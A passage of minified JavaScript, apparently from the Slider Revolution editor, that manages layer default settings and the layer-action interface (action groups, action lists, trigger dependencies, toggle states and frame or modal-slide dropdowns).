s.hover=f(t.hover,{usehover:!1,usehovermask:!1,color:"#ffffff",opacity:1,backgroundColor:"transparent",gradientStyle:"fading",borderColor:"transparent",borderRadius:{v:[0,0,0,0],u:"%"},borderStyle:"none",borderWidth:[0,0,0,0],transformPerspective:RVS.SLIDER.settings.general.perspective,originX:"50%",originY:"50%",originZ:"50%",rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,textDecoration:"none",x:0,y:0,z:0,speed:300,ease:"power3.inOut",zIndex:"auto",pointerEvents:"auto",filter:{grayscale:0,brightness:100,blur:0},svg:{color:"#ffffff",strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),s.actions=f(t.actions,{triggerMemory:"reset",action:[]}),s.actions.inactive_actions=[],s.visibility=f(t.visibility,{visible:!0,locked:!1,d:!0,m:!0,n:!0,t:!0,hideunder:!1,onlyOnSlideHover:!1,publish:!0,alwaysOnCarousel:!1}),s.runtime=f(t.runtime,{internalClass:"",isDemo:!1,unavailable:!1}),!0!==r&&RVS.S.uniqueIds.push(s.uid),RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(S)&&(s.addOns[S]=void 0===s.addOns[S]?{enable:!1}:s.addOns[S]);if(void 0!==s.customCSS&&s.customCSS.length>0){s.customCSS=s.customCSS.replace(/\s\s+/g," ");var p=s.customCSS.split(";"),u="";for(var S in p)if(p.hasOwnProperty(S)){var R=p[S].split(":"),V=R[0].replace(/\s/g,"");if(""!==RVS.F.trim(V))switch(V){case"letter-spacing":s.idle.letterSpacing=RVS.F.cToResp({default:R[1]});break;case"text-align":s.idle.textAlign=RVS.F.cToResp({default:R[1]});break;case"text-shadow":-1===R[1].indexOf("none")&&(u+=p[S]);break;default:u+=p[S]+";"}}s.customCSS=u}var y=[];if(void 0!==s.actions){for(var c in s.actions.action)null==s.actions.action[c].migrateMute&&null==s.actions.action[c].rsColorPicker&&null==s.actions.action[c].get&&y.push(s.actions.action[c]);s.actions.action=y}return s}},RVS.F.simplifyLayer=function(e){return"zone"===e.type?jQuery.extend(!0,{},e):jQuery.extend(!0,{},RVS.F.simplifyObject(RVS.F.addLayerObj(e.type,void 0,!0),jQuery.extend(!0,{},e)))},RVS.F.simplifyAllLayer=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=RVS.F.simplifyLayer(e[i]),t[i].type=e[i].type);return t},RVS.F.expandAllLayer=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=jQuery.extend(!0,RVS.F.addLayerObj(e[i].type,void 0,!0),e[i]));return t},RVS.F.initAddonMigration=function(e){}}(),RVS.LIB.ACTION_WITH_TRGT=[],RVS.LIB.ACTIONTYPES={},function(){var e=["X","M","N"];function t(e,t,i,a){return e&&t==="static-"+i||e&&RVS.SLIDER.slideIDs[a]===RVS.S.slideId&&parseInt(t,0)===parseInt(i,0)||!e&&parseInt(t,0)===parseInt(i,0)}function i(e,t){return"start_in"===e.action&&("any"===t||"frame_1"===t)||"start_out"===e.action&&("any"===t||"frame_999"===t)||"toggle_layer"===e.action&&("any"===t||"frame_1"===t||"frame_999"===t)||"toggle_frames"===e.action&&("any"===t||e.gotoframeM===t||e.gotoframeN===t)||"start_frame"===e.action&&("any"===t||e.gotoframe===t)}function a(e){var t=-1;return-1!=jQuery.inArray(e.action,RVS.LIB.ACTION_WITH_TRGT)&&void 0!==e.layer_target&&(t=parseInt(e.layer_target.toString().replace("static-",""),0)),{slideid:void 0!==e&&void 0!==e.layer_target&&e.layer_target.toString().indexOf("static")>=0?RVS.SLIDER.staticSlideId:RVS.S.slideId,targetid:-1==t||isNaN(t)?-1:t}}function r(e){var t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);i.action.push({action:e,tooltip_event:"click",link_help_in:"keep",link_open_in:"_self",link_follow:"follow"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}RVS.F.initLayerActions=function(){RVS.F.createActionGroup({icon:"link",id:"layeraction_group_link",actions:[{val:"menu",inputs:"#la_settings_link_menu, #la_settings_link,#la_settings_scroll_under"},{val:"link",inputs:"#la_settings_link_url,#la_settings_link,#la_settings_link_type"},{val:"callback",inputs:"#la_settings_callback"},{val:"getAccelerationPermission",inputs:"#la_settings_getAccelerationPermissionk"},{val:"scrollto",inputs:"#la_settings_scroll_to,#la_settings_scroll_under"},{val:"scroll_under",inputs:"#la_settings_scroll_under"}]}),RVS.F.createActionGroup({icon:"code",id:"layeraction_group_slide",actions:[{val:"jumpto",inputs:"#la_settings_jumpto"},{val:"next"},{val:"prev"},{val:"pause"},{val:"resume"},{val:"toggle_slider"},{val:"close_modal"},{val:"open_modal",inputs:"#la_settings_modal"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"start_in",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_in, #la_settings_childrentimelines",layerTarget:!0},{val:"start_out",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_out, #la_settings_childrentimelines",layerTarget:!0},{val:"start_frame",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frame, #la_settings_childrentimelines",layerTarget:!0},{val:"next_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"prev_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_layer",inputs:"#la_settings_layer_actions, #la_settings_layer_toggle_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_frames",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frameXY,  #la_settings_childrentimelines",layerTarget:!0}]}),RVS.F.createActionGroup({icon:"videocam",id:"layeraction_group_media",actions:[{val:"start_video",layerTarget:!0,media:!0},{val:"stop_video",layerTarget:!0,media:!0},{val:"toggle_video",layerTarget:!0,media:!0},{val:"mute_video",layerTarget:!0,media:!0},{val:"unmute_video",layerTarget:!0,media:!0},{val:"toggle_mute_video",layerTarget:!0,media:!0},{val:"toggle_global_mute_video"}]}),RVS.F.createActionGroup({icon:"fullscreen",id:"layeraction_group_fullscreen",actions:[{val:"togglefullscreen"},{val:"gofullscreen"},{val:"exitfullscreen"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"simulate_click",layerTarget:!0},{val:"toggle_class",inputs:"#la_settings_class",layerTarget:!0}]}),RVS.DOC.trigger("extendLayerActionGroups"),function(){RVS.DOC.on("openLayerActions",RVS.F.openLayerActions);RVS.DOC.on("updatePlayFrameXOnlyOnAction",RVS.F.updatePlayFrameXOnlyOnAction),RVS.DOC.on("click",".drop_dependencies",function(){jQuery("#layer_with_action_wrap").toggleClass("opendeps")}),RVS.DOC.on("click","#rbm_layer_action .rbm_close",function(){for(var e in jQuery("#rbm_layer_action").hasClass("inpickermode")?(jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layeraction_list").hide(),jQuery("#layer_action_type").show()):(jQuery(".actionDependent").removeClass("actionDependent"),RVS.F.RSDialog.close()),RVS.L)RVS.L[e].actions&&RVS.L[e].actions.action.length>0?jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).addClass("actionmarked"):jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).removeClass("actionmarked");RVS.F.updateAllLayerFrames()}),RVS.DOC.on("click","#addactiontolayer",function(){return r("link"),!1}),RVS.F.cleanUpAllActions=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&cleanUpActions(e)},RVS.F.cleanUpActions=function(e){var t=[];if(void 0!==RVS.L[e].actions){for(var i in RVS.L[e].actions.action)null==RVS.L[e].actions.action[i].migrateMute&&null==RVS.L[e].actions.action[i].rsColorPicker&&null==RVS.L[e].actions.action[i].get&&t.push(RVS.L[e].actions.action[i]);RVS.L[e].actions=t}},RVS.F.updateDuplicatedLayerActionDependencies=function(e,t){var i,a,r,s=RVS.F.layerFrameTriggeredBy({all:!0,layerid:t,frame:"any"}),o=[],n=[];for(a in s)s.hasOwnProperty(a)&&void 0!==RVS.L[s[a].uid]&&-1===jQuery.inArray(""+s[a].uid,n)&&n.push(""+s[a].uid);for(a in n){for(r in o=[],RVS.L[n[a]].actions.action)RVS.L[n[a]].actions.action.hasOwnProperty(r)&&-1!=jQuery.inArray(RVS.L[n[a]].actions.action[r].action,RVS.LIB.ACTION_WITH_TRGT)&&""+RVS.L[n[a]].actions.action[r].layer_target==""+t&&((i=jQuery.extend(!0,{},RVS.L[n[a]].actions.action[r])).layer_target=""+e,o.push(i));if(o.length>0)for(r in o)o.hasOwnProperty(a)&&RVS.L[s[a].uid].actions.action.push(jQuery.extend(!0,{},o[r]))}},RVS.DOC.on("click",".duplicate_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return i.action.push(RVS.L[RVS.selLayers[0]].actions.action[e.index()]),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()},50),!1}),RVS.DOC.on("click",".delete_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return t.action.splice(e.index(),1),RVS.S.actionIdx=0,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:t}),setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")},50),!1}),RVS.DOC.on("click","#layer_action_type",function(){jQuery("#rbm_layer_action").addClass("inpickermode"),jQuery("#layeraction_list").show(),jQuery(this).hide(),jQuery("#layeraction_list .lal_group_member").removeClass("selected"),jQuery("#layeraction_picker_"+RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action).addClass("selected")}),RVS.DOC.on("click",".lal_group_member",function(){jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layer_action_type").show(),void 0===RVS.S.actionIdx||void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]?(r(this.dataset.val),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide()):(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions.action."+RVS.S.actionIdx+".action",val:this.dataset.val}),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide(),RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".single_layer_action",function(e){RVS.S.actionIdx=jQuery(this).index(),jQuery(".single_layer_action").removeClass("selected"),jQuery(this).addClass("selected"),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".lal_group_header",function(){var e=jQuery(this).closest(".lal_group");e.toggleClass("closed")}),RVS.DOC.on("refreshActionView",function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshSlideLists",function(){RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshLayerToggleState",function(){var e="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,t="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,i=e?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[t]:RVS.L[RVS.S.actionTrgtLayerId];"visible"==jQuery("#toggle_layer_type").val()?i.timeline.frames.frame_1.timeline.actionTriggered=!1:i.timeline.frames.frame_1.timeline.actionTriggered=!0,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()})}()},RVS.F.openLayerActions=function(){RVS.selLayers.length>0?(RVS.S.actionIdx=void 0,jQuery("#no_action_selected").show(),jQuery("#action_inputs, .la_settings").hide(),RVS.F.initActionsOfLayers(),RVS.F.RSDialog.create({modalid:"rbm_layer_action",bgopacity:.5})):RVS.F.showInfo({content:RVS_LANG.noLayersSelected,type:"warning",showdelay:0,hidedelay:3,hideon:"",event:""})},RVS.F.selectLayerAction=function(){if(jQuery(".actionselected").removeClass("actionselected"),void 0===RVS.S.actionIdx||RVS.S.actionIdx<0||0==RVS.L[RVS.selLayers[0]].actions.action.length)return jQuery("#action_inputs, .la_settings").hide(),jQuery("#no_action_selected").show(),!1;var e;jQuery("#action_inputs").show(),jQuery(".la_settings, #no_action_selected").hide(),void 0!==RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action]&&jQuery(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].inputs).show(),void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target&&(RVS.S.actionTrgtLayerId=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target||"none"),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["scroll_under","scrollto"])>=0&&(void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing="power1.inOut"),void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed="1000ms")),"link"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&("column"===RVS.L[RVS.selLayers[0]].type||"row"===RVS.L[RVS.selLayers[0]].type||"group"===RVS.L[RVS.selLayers[0]].type?RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="jquery":void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="a")),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0&&void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren=!0),void 0!==RVS.S.actionTrgtLayerId&&((""+RVS.S.actionTrgtLayerId).indexOf("static-")>=0&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId].layers?e=RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[(""+RVS.S.actionTrgtLayerId).replace("static-","")]:void 0!==RVS.L[RVS.S.actionTrgtLayerId]&&(e=RVS.L[RVS.S.actionTrgtLayerId],RVS.H[RVS.S.actionTrgtLayerId].w.addClass("actionselected")),void 0!==e&&(RVS.F.checkToggleLayerType(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx],e,2),jQuery("#overtake_frame_1_control")[0].checked=e.timeline.frames.frame_1.timeline.actionTriggered,jQuery("#overtake_frame_999_control")[0].checked=e.timeline.frames.frame_999.timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_1_control")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_999_control")}),jQuery("#la_triggerMemory").val(e.actions.triggerMemory).ddTP("change"),RVS.F.updatePlayFrameXOnlyOnAction(null,"X"),RVS.F.updatePlayFrameXOnlyOnAction(null,"N"),RVS.F.updatePlayFrameXOnlyOnAction(null,"M"))),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),RVS.F.upadteLayerTargetDropDowns({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target}),RVS.F.updateSlideList({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].jump_to_slide}),RVS.F.updateLinkTypes({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,linktype:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type}),jQuery("#layer_action_fake").html(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].name)},RVS.F.updateReferencigToggleLayerType=function(){for(var e in RVS.L)if(RVS.L[e].actions&&RVS.L[e].actions.action.length>0)for(var t in RVS.L[e].actions.action)if(RVS.L[e].actions.action.hasOwnProperty(t)){var i=RVS.L[e].actions.action[t];"toggle_layer"===i.action&&((""+i.layer_target).indexOf("static-")>=0&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId].layers?RVS.F.checkToggleLayerType(i,RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[(""+i.layer_target).replace("static-","")],1):void 0!==RVS.L[i.layer_target]&&RVS.F.checkToggleLayerType(i,RVS.L[i.layer_target],1))}},RVS.F.checkToggleLayerType=function(e,t,i){return void 0!==t&&"toggle_layer"===e.action&&(void 0!==t.timeline.frames.frame_1.timeline.actionTriggered&&1==i?e.toggle_layer_type=t.timeline.frames.frame_1.timeline.actionTriggered?"hidden":"visible":"visible"===e.toggle_layer_type?t.timeline.frames.frame_1.timeline.actionTriggered=!1:t.timeline.frames.frame_1.timeline.actionTriggered=!0,t.timeline.frames.frame_999.timeline.actionTriggered=!0),e},RVS.F.layerFrameTriggered=function(e){var t=parseInt(e.layerid,0);return RVS.L[t].timeline.frames[e.frame].timeline.actionTriggered},RVS.F.layerFrameTriggeredBy=function(e){for(var a=parseInt(e.layerid,0),r=[],s=(""+RVS.S.slideId).indexOf("static")>=0,o=null==e.src&&s?RVS.SLIDER.slideIDs.length-1:-1,n=!1;!n;){var l=void 0===e.src?-1===o?RVS.L:RVS.SLIDER[RVS.SLIDER.slideIDs[o]].layers:e.src;for(var d in l)if(!(void 0===e.all&&r.length>0)&&l.hasOwnProperty(d)&&void 0!==l[d].actions){for(var S in l[d].actions.action)void 0===e.all&&r.length>0||!l[d].actions.action.hasOwnProperty(S)||void 0===l[d].actions.action[S].layer_target||void 0!==l[d].actions.action[S].ajaxSettings||void 0!==l[d].actions.action[S].fn||void 0!==l[d].actions.action[S].guid||void 0!==l[d].actions.action[S].lastModified||t(s,l[d].actions.action[S].layer_target,a,o)&&i(l[d].actions.action[S],e.frame)&&r.push({icon:RVS.F.getLayerIcon(l[d].linebreak?"linebreak":l[d].type,l[d].subtype),action:l[d].actions.action[S].action,uid:parseInt(l[d].uid,0),alias:l[d].alias,slide:void 0===e.src&&-1!==o?RVS.SLIDER.slideIDs[o]:RVS.S.slideId});if(void 0!==l[d].actions.inactive_actions)for(var S in l[d].actions.inactive_actions)void 0===e.all&&r.length>0||!l[d].actions.inactive_actions.hasOwnProperty(S)||void 0===l[d].actions.inactive_actions[S].layer_target||void 0!==l[d].actions.inactive_actions[S].ajaxSettings||void 0!==l[d].actions.inactive_actions[S].fn||void 0!==l[d].actions.inactive_actions[S].guid||void 0!==l[d].actions.inactive_actions[S].lastModified||t(s,l[d].actions.inactive_actions[S].layer_target,a,o)&&i(l[d].actions.inactive_actions[S],e.frame)&&r.push({icon:RVS.F.getLayerIcon(l[d].linebreak?"linebreak":l[d].type,l[d].subtype),action:l[d].actions.inactive_actions[S].action,uid:parseInt(l[d].uid,0),alias:l[d].alias,slide:void 0===e.src&&-1!==o?RVS.SLIDER.slideIDs[o]:RVS.S.slideId})}n=--o<0}return 0===r.length&&r.push({uid:"",alias:""}),e.all?r:r[0]},RVS.F.updateLayerToggleActionWaits=function(){var e=void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers:void 0;for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].actions)for(var i in RVS.L[t].actions.action)if(RVS.L[t].actions.action.hasOwnProperty(i)&&void 0!==RVS.L[t].actions.action[i].layer_target&&"toggle_layer"===RVS.L[t].actions.action[i].action){var a=RVS.L[t].actions.action[i].layer_target,r=void 0!==e&&(""+a).indexOf("static-")>=0;if(a=r?a.replace("static-",""):a,r&&void 0!==e[a]||!r&&void 0!==RVS.L[a]){var s=!("visible"===RVS.L[t].actions.action[i].toggle_layer_type);r?(e[a].timeline.frames.frame_1.timeline.actionTriggered=s,e[a].timeline.frames.frame_999.timeline.actionTriggered=!0):(RVS.L[a].timeline.frames.frame_1.timeline.actionTriggered=s,RVS.L[a].timeline.frames.frame_999.timeline.actionTriggered=!0)}}RVS.F.updateAllLayerFrames()},RVS.F.initActionsOfLayers=function(){var e=RVS.L[RVS.selLayers[0]],t=jQuery("#layer_depending_wrap"),i=RVS.F.layerFrameTriggeredBy({all:!0,layerid:RVS.selLayers[0],frame:"any"}),a='<i class="lwa_icon material-icons">'+RVS.F.getLayerIcon(e.linebreak?"linebreak":e.type,e.subtype)+'</i><span class="lwa_layername">'+e.alias+"</span>";for(var r in t[0].innerHTML="",jQuery("#layer_with_action_wrap").removeClass("opendeps"),i.length>0&&(a+='<span class="drop_dependencies">'+RVS_LANG.triggeredby+'<i class="material-icons">arrow_drop_up</i></span>'),i)i.hasOwnProperty(r)&&void 0!==i[r].uid&&void 0!==i[r].action&&t.append('<li data-id="'+i[r].uid+'" class="layer_depending_on"><i class="material-icons ldo_icon">'+i[r].icon+'</i><span class="ldo_layername">'+i[r].alias+(i[r].slide!==RVS.S.slideId?" ("+i[r].slide+")":"")+'</span><span class="ldo_actionname">'+RVS_LANG["layeraction_"+i[r].action]+"</span></li>");document.getElementById("add_action_to_layername").innerHTML=e.alias,document.getElementById("layer_with_action").innerHTML=a,RVS.F.updateEasyInputs({container:jQuery("#layer_width_action_inner_wrap"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),jQuery("#rbm_layer_action .tos2, #rbm_layer_action .slideinput, #rbm_layer_action .sliderinput").trigger("init"),RVS.F.buildActionList()},RVS.F.updateTriggeringActionRelations=function(e){var t=RVS.F.layerFrameTriggeredBy({all:!0,layerid:e,frame:"any"});for(var i in t)t.hasOwnProperty(i)&&void 0!==t[i].uid&&void 0!==t[i].action&&RVS.F.checkActionRelations(t[i].uid)},RVS.F.checkActionRelations=function(e){var t=RVS.L[e];if(void 0!==t){t.actions.inactive_actions=t.actions.inactive_actions||[];var i=[...t.actions.action,...t.actions.inactive_actions],r=[],s=[];for(var o in i)if(i.hasOwnProperty(o)){"backgroundvideo"!==i[o].layer_target&&"firstvideo"!==i[o].layer_target||"toggle_layer"===i[o].action&&(i[o].action="toggle_video");var n=a(i[o]),l=!1;-1!=n.targetid&&(void 0!==RVS.SLIDER[n.slideid].layers[n.targetid]||"backgroundvideo"===i[o].layer_target||"firstvideo"===i[o].layer_target||(l=!0)),l?s.push(i[o]):r.push(i[o])}t.actions.action=r.slice(0),t.actions.inactive_actions=s.slice(0)}},RVS.F.buildActionList=function(){var e=jQuery("#selected_layer_actions"),t=RVS.L[RVS.selLayers[0]];for(var i in RVS.F.checkActionRelations(RVS.selLayers[0]),jQuery(".actionDependent").removeClass("actionDependent"),jQuery(".actionselected").removeClass("actionselected"),e[0].innerHTML="",t.actions.action)if(t.actions.action.hasOwnProperty(i)){var r='<li class="single_layer_action '+(i==RVS.S.actionIdx?"selected":"")+'">',s=a(t.actions.action[i]);if(-1!=s.targetid)if(void 0!==RVS.SLIDER[s.slideid].layers[s.targetid]){var o=s.slideid.indexOf("static")>=0;r+='<i class="sla_icon material-icons">'+RVS.F.getLayerIcon(RVS.SLIDER[s.slideid].layers[s.targetid].linebreak?"linebreak":RVS.SLIDER[s.slideid].layers[s.targetid].type,RVS.SLIDER[s.slideid].layers[s.targetid].subtype)+'</i><span class="sla_layername">'+RVS.SLIDER[s.slideid].layers[s.targetid].alias+(o?"(S)":"")+"</span>",o||RVS.H[s.targetid].w.addClass("actionDependent")}else"backgroundvideo"===t.actions.action[i].layer_target||"firstvideo"===t.actions.action[i].layer_target?r+='<i class="sla_icon material-icons">videocam</i><span class="sla_layername">'+RVS_LANG[t.actions.action[i].layer_target]+"</span>":r+='<i class="sla_icon material-icons">error_outline</i><span class="sla_layername">'+RVS_LANG.noLayersSelected+"</span>";else void 0!==RVS.LIB.ACTIONTYPES[t.actions.action[i].action]?r+='<i class="sla_icon material-icons">'+RVS.LIB.ACTIONTYPES[t.actions.action[i].action].icon+'</i><span class="sla_layername"></span>':r+='<i class="sla_icon material-icons">extension</i><span class="sla_layername"></span>';void 0!==RVS.LIB.ACTIONTYPES[t.actions.action[i].action]&&void 0!==RVS_LANG["layeraction_"+t.actions.action[i].action]?r+='<span class="sla_actionname">'+RVS_LANG["layeraction_"+t.actions.action[i].action]+"</span>":r+='<span class="sla_actionname">'+t.actions.action[i].action+"</span>",r+='<div class="single_layer_toolbar"><i class="material-icons duplicate_single_layer_action">content_copy</i><i class="material-icons delete_single_layer_action">delete_forever</i></div>',r+="</li>",e.append(r)}0===t.actions.action.length?(jQuery("#layeraction_list").show(),jQuery("#selected_layer_actions").hide(),jQuery("#addactiontolayer").hide()):(jQuery("#layeraction_list").hide(),jQuery("#selected_layer_actions").show(),jQuery("#addactiontolayer").show()),jQuery("#layeraction_list").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),jQuery("#layeractions_overview_innerwrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100})},RVS.F.refreshModalSlides=function(){if(RVS.L[RVS.selLayers[0]].actions.action.length&&"open_modal"==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal){var e=function(e){var t=!1;for(var i in RVS.LIB.SLIDERS)!1===t&&RVS.LIB.SLIDERS[i].alias===e&&(t=RVS.LIB.SLIDERS[i].id);return t}(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal);if(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodalId=e,!1===e)return;var t="";RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){var i=0;for(var a in e.slides)i++,t+='<option value="rs-'+e.slides[a].id+'">#'+i+" "+e.slides[a].title+"</option>";var r=jQuery("#la_open_modalslide");r[0].innerHTML=t,void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide&&(r[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide),r.ddTP({placeholder:"Select From List"}),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"})}})}},RVS.F.refreshFrameLists=function(){for(var t in e){if(void 0===RVS.S.actionTrgtLayerId)return;var i="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s="",o=jQuery("#la_gotoframe"+e[t]);if(void 0===r||NaN===r)return;var n=r.timeline.frameOrder,l=r.timeline.frames;for(var d in s+='<option value="frame_1">'+l.frame_1.alias+" ( "+RVS_LANG.frstframe+")</option>",n)if(n.hasOwnProperty(d)){var S=n[d].id;"frame_0"!==S&&"frame_1"!==S&&"frame_999"!==S&&(s+='<option value="'+S+'">'+l[S].alias+" ("+d+".Frame )</option>")}s+='<option value="frame_999">'+l.frame_999.alias+" ( "+RVS_LANG.lastframe+")</option>",o[0].innerHTML=s,RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]&&void 0!==l[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]]?o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]:(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]="frame_1",o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]),o.ddTP({placeholder:"Select From 